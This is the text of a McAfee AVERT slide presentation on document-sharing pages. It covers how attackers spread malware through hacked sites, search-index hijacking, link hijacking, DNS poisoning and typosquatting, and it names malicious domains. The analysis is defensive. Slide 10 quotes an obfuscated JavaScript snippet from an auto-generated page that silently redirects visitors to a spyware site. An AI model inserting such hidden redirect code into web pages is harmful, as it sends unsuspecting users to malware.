• Home

  • Documents

  • Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing...
21
Manipulating the Internet Dr. Igor Muttik, McAfee AVERT

Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

  • Upload
    others

  • View
    1

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

Manipulating the InternetDr. Igor Muttik, McAfee AVERT

Page 2: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

2

Agenda

► Evolution of the threats:

Workstation Network Internet► Attacks on the Internet level

• hacking and defacing• manipulating search engines• hijacking the links• DNS poisoning (pharming)• exploiting users’ mistakes (“typosquatting”)

► Conclusions and how to counter these threats

Page 3: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

3

Saving the World

Page 4: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

4

Hacking into Websites

►Why? Apart from showing off - to plantmalware and redirect visitors!

►How?• Hack and include malicious links• Manipulate Web proxy• Subtle mods to a Web site are hard to notice• Malware used for defacing (e.g., CodeRed)

►All mods have temporary effect.

►How to tap into the source – search engines?

Page 5: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

5

Index hijacking

►Google sent a user to a malicious site

►Google uses PageRank (PR) to prioritize Webpages

►Other parameters are used• Duration of the domain registration• Page contents• Text in the links• URL and title

►PR is calculated from the graph of the whole Internet!

Page 6: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

6

Calculation of PageRank

Page Sink Loop

=50+5+5 =30+70=30+30

Page 7: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

7

Searching

Where are you? Why do you hide? Where is that moonlighttrail that leads to your side? Just like the moonraker goes insearch of his dream of gold…

Page 8: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

8

Manipulation of PageRank

► Index hijacking provides constant flow of victims

►There are Search Engine Optimization (SEO) companies• WebGuerilla• SubmitExpress

►What searches?• “Christmas adware”• “Skipping Christmas”• “Santa trojan”• “Windows XP activation”• And many other similar combinations

Page 9: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

9

Page 10: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

10

HTML of an auto-generated page.<SCRIPT LANGUAGE="JavaScript" ><!--//nalco='h' + 'tt' + 'p://' + 'qs' + 'eek.info/spyware.html'; //adware-comparison-remover-spywareindex.html';document.write('<a href="'+nalco+'" id="likn" target="_self"style=display:none>go</a>');window.open("", "_self");document.getElementById("likn").click();//--></SCRIPT>

<td><h1>Adware comparison remover spywareindex</h1> <p>Ad-Watch monitor feed Extensions decide DoubleClick deletesincreased brand-new auto partner frequently instead disabled refTrade slip miss slogan. Capabilities is deletion top communicationgathers Interface prevention not Not ClickTillUWin Mozilla Allows.Time wishing However neither hosts board adware comparison removerspywareindex offline modules Computing features Alternate ScumwareLockergnome more transferred try hijackware Computing monthlyconsider beta linkdomain another Most.</p> <h2>Adware comparison remover spywareindex two More</h2> <p>See describes happen checker Cleaning former plain afraidhijackers With SUGAR building qualify. Release continuously valuableconcept Imesh Spybot efforts transferred agreed Businesses eachcreated add Cydoor Spam well-known archive publishers stronglyNowadays. </p> <p align="right"><img src="images/adware-comparison-remover-spywareindex.jpg" alt="adware comparison remover spywareindex"></p>

Page 11: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

11

Attributes of auto-generated pages

► Machine-generated

► Bear attributes of a proper Webpage (formatting, pictures, links)

► Pages changes frequently

► Most likely refreshed/published automatically (optimization of PR?)

► We enter clusters of inter-linked Web pages spanning several domains

► Domains are registered by the same people

► Hidden outgoing links (Page Sinks!)

► These pages reference each other (Page Sinks!)

► Exploiting Page Sinks are used to inflate PRof these Web pages

Page 12: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

12

From Russia with love

From Russia with love, I fly to you…

Page 13: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

13

Links hijacking

* Google( “Stinger Trojan” )

www.arclab.ru/stinger-trojan-removal.html

http://get.privacycash.comhttp://www.STOPzilla.comhttp://www.regfreeze.net…

http://buy-traffic.net (malicious, uses exploits)<a href="click.php?id=cda703d4a38549bb52d9f21f23fe92be"<a href="click.php?id=b428d4748f0ccd5e0298cb7c25fdc9bc"<a href="click.php?id=ab033511dcee4966449d0f56caa86ca9“...

Pay-Per-Click (PPC) scheme

www.archiCAD.ru (popular legit site)

www.arclab.ru/

http://doredirect.com

http://tolemon.com

Miss Moneypenny

Page 14: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

14

Hijacking and ranking

► Links are a commodity

►Websites with high PR are valuable

►There is a secondary market for expired domains (andPR value is a major component of the price)

► Introducing hidden links and hijacking expired domainswith high PR makes commercial sense:

• resell to SEO companies• use for index hijacking

Page 15: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

15

DNS poisoning (pharming)

►Two kinds of DNS poisoning:• Incorrect authoritative data• Incorrect temporary cache

►Sources:• Exploits in DNS protocol• Hacking into a DNS server• DNS cache poisoning• Social engineering (“domain hijacking”)

► Invalid local DNS (HOSTS file)

►W32/P2Load worm (dropped HOSTS that redirectswww.google.com to a similarly-looking Website)

Page 16: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

16

Tomorrow Never LiesTomorrow Never Dies

Page 17: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

17

Exploiting users’ mistakes►Typos when typing the URL are common:

• common misspellings (“webadress”)• typos (“wwebaddress”)• different representation (“web-address”)

►Attempts to resell misspelled domains:“www.simantek.com” and“www.mikrosoft.com (funny)

►Attempts to share success of known brand names:“www.macafee.com”, “www.mcafeee.com”, “www.mcafe.com”,“www.mkafee.com” (same as “www.mycrosoft.com”!),“www.symantek.com”.

►Malicious “typosquatting”

Page 18: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

18

Typosquatting

“www.whitehouse.org” satirical“www.whitehouse.com” porn“www.wilipedia.org” adware“www.wiipedia.org” adware“www.eikipedia.org” adware”www.googkle.com” adware+malware

Exploit-MhtRedir.gen, VBS/Psyme, Downloader-GS, Spabot,Spabot.dll, Downloader-XB, StartPage-GT, PWS-Banker,Proxy-TSOH.dll, Downloader-UV, Generic BackDoor.u,BackDoor-AWV, BackDoor-AML, Adware-NSearch,Adware- IEToolBar.dr, Adware- NSearch.

Page 19: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

19

Conclusions► Internet-based malware distribution

is better funded then Emailing andspamming

►Fate of Email is awaiting the Internet

►Malware distribution via Websites is fairly common andit is quickly getting worse

►Hardening browsers

►Browser-based “anti-spam” products

►Whitelists of Websites in browsers

Page 20: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

20

Conclusions

Enter his Web of sin… But don’t go in!!!

► Internet-based malware distributionis better funded then Emailing andspamming

►Fate of Email is awaiting the Internet

►Malware distribution via Websites is fairly common andit is quickly getting worse

►Hardening browsers

►Browser-based “anti-spam” products

►Whitelists of Websites in browsers

Page 21: Dr. Igor Muttik, McAfee AVERT · Internet-based malware distribution is better funded then Emailing and spamming Fate of Email is awaiting the Internet Malware distribution via Websites

21

Q and A


Mobile Malware Network View - Black Hat · Mobile Malware Network View ... ... Windows Malware impacts mobile

Mobile Malware Network View - Black Hat · Mobile Malware Network View ... ... Windows Malware impacts mobile

Documents
traffic direction systems as malware distribution tools

traffic direction systems as malware distribution tools

Documents
Malware Fails Best Bugs in Malware Felix Leder [Malware ... · 1 Malware Fails Best Bugs in Malware Felix Leder [Malware Detection Team] Felix.Leder@norman.com 5. desember 2011 malware

Malware Fails Best Bugs in Malware Felix Leder [Malware ... · 1 Malware Fails Best Bugs in Malware Felix Leder [Malware Detection Team] [email protected] 5. desember 2011 malware

Documents
Android Malware Exposed-Evolution of Android Malware

Android Malware Exposed-Evolution of Android Malware

Documents
Nazca: Detecting Malware Distribution In Large-Scale Networks Nazca: Detecting Malware Distribution In Large-Scale Networks

Nazca: Detecting Malware Distribution In Large-Scale Networks Nazca: Detecting Malware Distribution In Large-Scale Networks

Documents
Introduction to Mobile Malware. Outline ➢ Introduction ➢ Types of Malware ➢ Malware examples ➢ How Malware Spreads ➢ Prevention ➢ AndroRAT Hands-on Lab

Introduction to Mobile Malware. Outline ➢ Introduction ➢ Types of Malware ➢ Malware examples ➢ How Malware Spreads ➢ Prevention ➢ AndroRAT Hands-on Lab

Documents
Malware Analysis and Antivirus Technologies: Kernel ... · • Kernel malware is a threat that has to be taken seriously • Wide distribution – Srizbi and Pandex spam runs, Mebroot

Malware Analysis and Antivirus Technologies: Kernel ... · • Kernel malware is a threat that has to be taken seriously • Wide distribution – Srizbi and Pandex spam runs, Mebroot

Documents
Malware, Malware y más Malware ¿Cómo me puedo proteger? “Dijo el cliente web”

Malware, Malware y más Malware ¿Cómo me puedo proteger? “Dijo el cliente web”

Documents
Nazca: Detecting Malware Distribution in Large-Scale Networkschris/research/doc/ndss14_nazca.pdfgrams, Nazca can identify unseen-before malware, and is not defeated by content obfuscation

Nazca: Detecting Malware Distribution in Large-Scale Networkschris/research/doc/ndss14_nazca.pdfgrams, Nazca can identify unseen-before malware, and is not defeated by content obfuscation

Documents
Malware Distribution via Widgetization of the Web · Malware Distribution via Widgetization of the Web By Ameet Ranadive (ameetr@dasient.com), Tufan Demir ... Prontexi," which is

Malware Distribution via Widgetization of the Web · Malware Distribution via Widgetization of the Web By Ameet Ranadive ([email protected]), Tufan Demir ... Prontexi," which is

Documents
Kuluoz: Malware and botnet analysis · Distribution of the Kuluoz malware is done solely by spam mail, sending Phishing mails (see Figure 2, Figure 3, Figure 4) impersonating as dispatch

Kuluoz: Malware and botnet analysis · Distribution of the Kuluoz malware is done solely by spam mail, sending Phishing mails (see Figure 2, Figure 3, Figure 4) impersonating as dispatch

Documents
Malware and anti-malware (fun with Trojans) - Z. …z.cliffe.schreuders.org/edu/FS/Malware and anti-malware... · 2014-04-02 · Malware and anti-malware (fun with Trojans) ... with

Malware and anti-malware (fun with Trojans) - Z. …z.cliffe.schreuders.org/edu/FS/Malware and anti-malware... · 2014-04-02 · Malware and anti-malware (fun with Trojans) ... with

Documents
Pheromone Model Based Visualization of Malware Distribution … · 2018. 7. 30. · Pheromone Model Based Visualization of Malware Distribution Networks Yang Cai, Jose Andre Morales,

Pheromone Model Based Visualization of Malware Distribution … · 2018. 7. 30. · Pheromone Model Based Visualization of Malware Distribution Networks Yang Cai, Jose Andre Morales,

Documents
Windows Malware Firewall: Remove Windows Malware Firewall

Windows Malware Firewall: Remove Windows Malware Firewall

Technology
Chapter 8 Malware - FTMS · – Boot virus – Logic Bomb virus – Directory virus – Resident virus. CSCA0101 Computing Basics 8 Malware Types of Malware ... Malware Types of Malware

Chapter 8 Malware - FTMS · – Boot virus – Logic Bomb virus – Directory virus – Resident virus. CSCA0101 Computing Basics 8 Malware Types of Malware ... Malware Types of Malware

Documents
Analisis dan Deteksi Malware Menggunakan Metode Malware

Analisis dan Deteksi Malware Menggunakan Metode Malware

Documents
Building Your Own Automated Malware Analysis … Your Own Automated Malware Analysis Lab for Insights on Active Threats © 2017 Scalar Decisions Inc. Not for distribution outside of

Building Your Own Automated Malware Analysis … Your Own Automated Malware Analysis Lab for Insights on Active Threats © 2017 Scalar Decisions Inc. Not for distribution outside of

Documents
Malware Propagation in Large-Scale Networksfaculty.cse.tamu.edu/guofei/paper/MalSize-TKDE15.pdf · sents malware propagation better in large-scale networks. We find the malware distribution

Malware Propagation in Large-Scale Networksfaculty.cse.tamu.edu/guofei/paper/MalSize-TKDE15.pdf · sents malware propagation better in large-scale networks. We find the malware distribution

Documents
Malware & Anti-Malware

Malware & Anti-Malware

Engineering
Reversing malware analysis trainingpart9 advanced malware analysis

Reversing malware analysis trainingpart9 advanced malware analysis

Technology
THE EVOLUTION OF MALWARE & FUTURE MALWARE MITIGATION

THE EVOLUTION OF MALWARE & FUTURE MALWARE MITIGATION

Documents
Francisco Jesús Gómez + Carlos Juan Diaz - Cloud Malware Distribution: DNS will be your friend [RootedCON 2011]

Francisco Jesús Gómez + Carlos Juan Diaz - Cloud Malware Distribution: DNS will be your friend [RootedCON 2011]

Technology
Malware Analysis Analysis.pdf · Definisi Malware Analysis • What is a malware? • Malware (malicious software) ... Malware Sinkronisasi Token • Pelaku: Zeus Banking Trojan •

Malware Analysis Analysis.pdf · Definisi Malware Analysis • What is a malware? • Malware (malicious software) ... Malware Sinkronisasi Token • Pelaku: Zeus Banking Trojan •

Documents
Malware Slums: Measurement and Analysis of Malware on ...homepage.cs.uiowa.edu/~mshafiq/files/malware... · Malware Slums: Measurement and Analysis of Malware on Traffic Exchanges

Malware Slums: Measurement and Analysis of Malware on ...homepage.cs.uiowa.edu/~mshafiq/files/malware... · Malware Slums: Measurement and Analysis of Malware on Traffic Exchanges

Documents
Metamorphic Malware 1 Metamorphic Malware Research

Metamorphic Malware 1 Metamorphic Malware Research

Documents
Yarochkin, kropotov, chetvertakov tracking surreptitious malware distribution channels

Yarochkin, kropotov, chetvertakov tracking surreptitious malware distribution channels

Documents
Optimizing Re-Evaluation of Malware Distribution Networks

Optimizing Re-Evaluation of Malware Distribution Networks

Documents
Presented by - nsi · Presented by: © National Security Institute ... corporate networks. ... – they’re the Swiss Army knife of malware distribution,

Presented by - nsi · Presented by: © National Security Institute ... corporate networks. ... – they’re the Swiss Army knife of malware distribution,

Documents
Ch 12: Covert Malware Launching - samsclass.info · Practical Malware Analysis Ch 12: Covert Malware Launching Last revised: 4-10-17. Hiding Malware • Malware used to be visible

Ch 12: Covert Malware Launching - samsclass.info · Practical Malware Analysis Ch 12: Covert Malware Launching Last revised: 4-10-17. Hiding Malware • Malware used to be visible

Documents
Could Android Malware Protection Save Your LA Distribution Company? (SlideShare)

Could Android Malware Protection Save Your LA Distribution Company? (SlideShare)

Technology